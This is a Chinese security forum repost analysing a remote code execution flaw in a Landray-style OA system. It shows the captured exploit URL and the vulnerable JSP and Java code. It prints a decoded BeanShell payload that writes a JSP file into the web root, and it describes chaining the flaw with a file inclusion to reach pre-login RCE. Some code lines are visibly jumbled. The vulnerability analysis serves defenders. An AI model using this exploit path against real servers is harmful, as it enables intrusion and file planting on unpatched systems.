安全矩阵

 找回密码
 立即注册
搜索
查看: 3224|回复: 0

水系群友某OA流量应急系列番外篇

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-6-8 15:31:43 | 显示全部楼层 |阅读模式
原文链接:水系群友某OA流量应急系列番外篇
0x00 开头
HVV⾏动之某OA流量应急(⼀): https://www.anquanke.com/post/id/239865 蹭⼀波⽔哥的热度 OA还得看⽔系群友。⼚商已发布版本补丁完成修复,建议⽤户尽快更新⾄最新版本。
另外插一句,现在圈子里的风气是真的不行,发文章直接搬运别人公开的exp来给自己引流割那几百块的韭菜钱却不去教人分析原理,搞一堆爬虫星球就是文库了,也是笑死人,除了方便黑产以外对安全圈百害无一利,对,我说的就是peiqi。

0x01 正文
某凌OA任意代码执⾏先看⼀下捕获到的POC:
  1. /sys/common/dataxml.jsp?s_bean=sysFormulaValidate&script=
  2. <payload>&type=int&modelName=test
复制代码

漏洞出现在 /sys/common/dataxml.jsp 下。同样类型还有⼀个 sys/common/datajson.jsp代码:
  1. <%@ page language="java" contentType="application/x-javascript;
  2. charset=UTF-8" pageEncoding="UTF-8"%>
  3. <%@ page errorPage="/resource/jsp/jsperror.jsp" %>
  4. <%@ page import="org.springframework.context.ApplicationContext,
  5. org.springframework.web.context.support.WebApplicationContextUtils,
  6. com.landray.kmss.common.service.IXMLDataBean,
  7. com.landray.kmss.common.actions.RequestContext,
  8. com.landray.kmss.util.StringUtil,
  9. java.util.*
  10. "%>
  11. <%@page import="net.sf.json.JSONObject"%>
  12. <%@page import="net.sf.json.JSONArray"%>
  13. <%
  14. response.setHeader("Cache-Control", "no-cache");
  15. response.setHeader("Pragma", "no-cache");
  16. response.setDateHeader("Expires", -1);
  17. ApplicationContext ctx =
  18. WebApplicationContextUtils.getRequiredWebApplicationContext(session.getServletContext());
  19. RequestContext requestInfo = new RequestContext(request);
  20. String[] beanList = request.getParameter("s_bean").split(";");
  21. IXMLDataBean treeBean;
  22. List result = null;
  23. HashMap nodeMap;
  24. Object node;
  25. Object[] nodeList;
  26. Iterator attr;
  27. for(int i=0; i<beanList.length; i++){
  28. treeBean = (IXMLDataBean) ctx.getBean(beanList[i]);
  29. result = treeBean.getDataList(requestInfo);
  30. if(result!=null){
  31. JSONArray jsonArray=new JSONArray();
  32. for (Iterator iterator = result.iterator();
  33. iterator.hasNext();) {
  34. node = iterator.next();
  35. if(node instanceof HashMap){
  36. Map<String, Object> parseObj =(Map<String,
  37. Object>)node;
  38. JSONObject json=new JSONObject();
  39. for(String key1 : parseObj.keySet()){
  40. Object value1=parseObj.get(key1);
  41. json.accumulate(key1, value1);
  42. }
  43. jsonArray.add(json);
  44. }else if(node instanceof Object[]){
  45. nodeList = (Object[])node;
  46. JSONObject json=new JSONObject();
  47. for(int k=0; k<nodeList.length; k++){
  48. if(nodeList[k]!=null){
  49. String key2 = "key"+k;
  50. Object value2 = nodeList[k];
  51. json.accumulate(key2, value2);
  52. }
  53. }
  54. jsonArray.add(json);
  55. }else{
  56. if(node!=null){
  57. JSONObject json=new JSONObject();
  58. String key3 = "key0";
  59. Object value3 = node;
  60. json.accumulate(key3, value3);
  61. jsonArray.add(json);
  62. }
  63. }
  64. }
  65. out.print(request.getParameter("jsoncallback")+"
  66. ("+jsonArray.toString()+")");
  67. }
  68. }
  69. %>
复制代码

其中第20行

request.getParameter("s_bean").split(";");
接收⼀个参数。s_bean ,然后以 ; 进⾏分割传给 beanList .往下⾛,看程序是如何 处理 beanList 的值。

第27⾏中,循环 beanList 的值。传递给 ctx.getBean() ⽅法。到这⾥⼤概就明⽩ 了, beanList 的值是 beanId ,后⾯通过 getBean() 实例化 JavaBean 。
result = treeBean.getDataList(requestInfo);
treeBean 是 JavaBean 实例化后的对象名。后调⽤ getDataList ⽅法。并传递⼀ 个 RequestContext 进去。
说⽩了就是任意Bean调⽤ 但是必须含有 getDataList ⽅法且需实现 IXMLDataBean 接⼝ 捕获到的数据流中, s_bean 的值为 sysFormulaValidate .
根据配置⽂ 件。sysFormulaValidate 所对应的类为 com.landray.kmss.sys.formula.web.SysFormulaValidate

查看 getDataList ⽅法
  1. public List getDataList(RequestContext requestInfo) throws
  2. Exception {
  3. List<Map<Object, Object>> rtnVal = new ArrayList();
  4. Map<Object, Object> node = new HashMap<Object, Object>();
  5. String msg = null;
  6. String confirm = null;
  7. try {
  8. try {
  9. String script = requestInfo.getParameter("script");
  10. String type = requestInfo.getParameter("returnType");
  11. String funcs = requestInfo.getParameter("funcs");
  12. String model = requestInfo.getParameter("model");
  13. FormulaParser parser = FormulaParser.getInstance(requestInfo,
  14. new ValidateVarGetter(null), model);
  15. if (StringUtil.isNotNull(funcs)) {
  16. String[] funcArr = funcs.split(";");
  17. for (int i = 0; i < funcArr.length; i++)
  18. parser.addPropertiesFunc(funcArr[i]);
  19. }
  20. Object value = parser.parseValueScript(script, type);
  21. if (value == null) {
  22. msg = "validate.nullValue";
  23. confirm = "validate.confirm.nullValueConfirm";
  24. node.put("success", "0");
  25. } else {
  26. msg = "validate.success";
  27. node.put("success", "1");
  28. }
  29. } catch (Exception e) {
  30. if (e instanceof
  31. com.landray.kmss.sys.metadata.exception.KmssUnExpectTypeException)
  32. {
  33. msg = "validate.failure.rtnTypeError";
  34. logger.debug(e);
  35. node.put("success", "-1");
  36. } else if (e instanceof
  37. com.landray.kmss.sys.formula.exception.EvalException) {
  38. msg = "validate.failure.evalError";
  39. confirm = "validate.failure.evalErrorConfirm";
  40. logger.debug(e);
  41. node.put("success", "0");
  42. } else {
  43. msg = "validate.failure";
  44. logger.error(e);
  45. node.put("success", "-1");
  46. }
  47. }
  48. node.put("message",
  49. ResourceUtil.getString(msg, "sys-formula",
  50. requestInfo.getLocale()));
  51. if (confirm != null)
  52. node.put("confirm",
  53. ResourceUtil.getString(confirm, "sys-formula",
  54. requestInfo.getLocale()));
  55. rtnVal.add(node);
  56.   return rtnVal;
  57. }
  58. }
复制代码

问题主要在于 FormulaParser 下的 parseValueScript ⽅法。


Object value = parser.parseValueScript(script, type);


  1. public Object parseValueScript(String script) throws EvalException
  2. {
  3. if (StringUtil.isNull(script))
  4. return null;
  5. Interpreter interpreter = new Interpreter();
  6. ClassLoader loader =
  7. Thread.currentThread().getContextClassLoader();
  8. try {
  9. if (loader != null)
  10. interpreter.setClassLoader(loader);
  11. StringBuffer importPart = new StringBuffer();
  12. importPart.append("import ").append(
  13. OtherFunction.class.getPackage().getName()).append(
  14. ".*;\r\n");
  15. StringBuffer preparePart = new StringBuffer();
  16. StringBuffer leftScript = new StringBuffer();
  17. String rightScript = script.trim();
  18. Map<String, FunctionScript> funcScriptMap = new
  19. HashMap<String, FunctionScript>();
  20. for (int index = rightScript.indexOf("$"); index > -1; index
  21. = rightScript
  22. .indexOf("$")) {
  23. int nxtIndex = rightScript.indexOf("$",
  24. index + 1);
  25. if (nxtIndex == -1)
  26. break;
  27. String varName = rightScript.substring(index + 1,
  28. nxtIndex);
  29. leftScript.append(rightScript.substring(0, index));
  30. rightScript = rightScript.substring(nxtIndex + 1);
  31. if (rightScript.length() > 0 && rightScript.charAt(0) ==
  32. return rtnVal;
  33. }
  34. }
  35. '(') {
  36. FunctionScript funcScript = funcScriptMap.get(varName);
  37. if (funcScript == null)
  38. for (int i = 0; i < this.funcProviderList.size(); i++)
  39. {
  40. funcScript =
  41. ((IFormulaFuncProvider)this.funcProviderList.get(i))
  42. .getFunctionScript(varName);
  43. if (funcScript != null) {
  44. funcScriptMap.put(varName, funcScript);
  45. if (StringUtil.isNotNull(funcScript
  46. .getPrepareScript()))
  47. preparePart.append(
  48. funcScript.getPrepareScript())
  49. .append("\r\n");
  50. break;
  51. }
  52. }
  53. if (funcScript == null)
  54. throw new FuncNotFoundException(varName);
  55. leftScript.append(funcScript.getFunctionScript());
  56. } else {
  57. leftScript.append("$").append(varName)
  58. .append("$");
  59. if (this.varProvider == null)
  60. throw new VarNotFoundException(varName);
  61. Object value =
  62. this.varProvider.getValue(this.contextData, varName);
  63. interpreter.set("$" + varName +
  64. "$", value);
  65. }
  66. }
  67. String m_script = String.valueOf(importPart.toString()) +
  68. preparePart.toString() +
  69. leftScript + rightScript;
  70. if (logger.isDebugEnabled())
  71. logger.debug("+ m_script);
  72. runningData.set(this.contextData);
  73. return interpreter.eval(m_script);
  74. } catch (TargetError targetError) {
  75. logger.error("+ script, (Throwable)targetError);
  76. throw new EvalException(targetError.getTarget());
  77. } catch (Exception e) {
  78. logger.error("+ script, e);
  79. throw new EvalException(e);
  80. } finally {
  81. runningData.remove();
  82. if (loader != null)
  83. interpreter.setClassLoader(null);
  84. }
  85. }
复制代码

在⽅法中:

第⼆⾏就实例了 interpreter 对象

Interpreter interpreter = new Interpreter();
看到这⼀串,基本就可以确定是代码执⾏了,就是Bsh,(泛微,⽤友都爆过类似 的),只需要寻找 eval() ⽅法,看看执⾏的内容。

向上回溯 m_script 变量。
  1. String m_script = String.valueOf(importPart.toString()) +
  2. preparePart.toString() +
  3. leftScript + rightScript;
复制代码

m_script 是由 importPart , preparePart , leftScript , rightScript .4个变量的值拼接⽽成。回到 getDataList 中:接收4个变量 script , returnType , funcs , model
  1. String script = requestInfo.getParameter("script");
  2. String type = requestInfo.getParameter("returnType");
  3. String funcs = requestInfo.getParameter("funcs");
  4. String model = requestInfo.getParameter("model");
复制代码
在下⾯调⽤ parseValueScript 中,只需要 script 和 type .这⾥ script 是可控的。在for循环中,只要 script 中不出现$符号。就可以跳过部分截断,致使 preparePart 和 leftScript 的内容为空,后⾯就是直接带⼊ rightScript=script 执⾏.导致任意代码执⾏
  1. for (int index = rightScript.indexOf("$"); index > -1; index =
  2. rightScript
  3. .indexOf("$")) {
复制代码

看了下捕获到的POC:



解码后的内容就是:
  1. import java.lang.*;
  2. import java.io.*;Class
  3. cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.I
  4. nterpreter");
  5. String
  6. path=cls.getProtectionDomain().getCodeSource().getLocation().getPat
  7. h();
  8. File f=new File(path.split("WEB-INF")[0]+"/loginx.jsp");
  9. f.createNewFile();
  10. FileOutputStream fout=new FileOutputStream(f);
  11. fout.write(new sun.misc.BASE64Decoder().decodeBuffer("aGVsbG8="));
  12. fout.close()
复制代码
⼤概意思就是。先加载 bsh.Interpreter .在获取当前类所在的路径。然后以 WEBINF 进⾏分割。取第⼀个值(也就是⽹站根⽬录)。在下⾯创建⼀个loginx.jsp.然后写⼊内容。访问 loginx.jsp 并不会302,因为其⽩名单中存在 login*.jsp简化⼀下:本地跑⼀遍
  1. import bsh.EvalError;
  2. import bsh.Interpreter;
  3. import java.util.HashMap;
  4. import java.util.Map;
  5. public class main {
  6. public static void main(String[] args) throws EvalError,
  7. ClassNotFoundException {
  8. Interpreter interpreter=new Interpreter();
  9. String payload="import java.lang.*;\n" +
  10. "import java.io.*; "+
  11. "File f=new
  12. File("/Users/yuanhai/Desktop/test/test/1.txt");\n" +
  13. "f.createNewFile();\n" +
  14. "FileOutputStream fout=new FileOutputStream(f);\n"
  15. +
  16. "fout.write(new
  17. sun.misc.BASE64Decoder().decodeBuffer("aGVsbG8="));\n"+
  18. "fout.close()";
  19. interpreter.eval(payload);
  20. }
  21. }
复制代码



其实这个洞是后台的,需要已登陆账户去调⽤才可。但是结合先前的⽂件包含: /sys/ui/extend/varkind/custom.jsp 可以打前台 RCE。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:52 , Processed in 0.012747 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表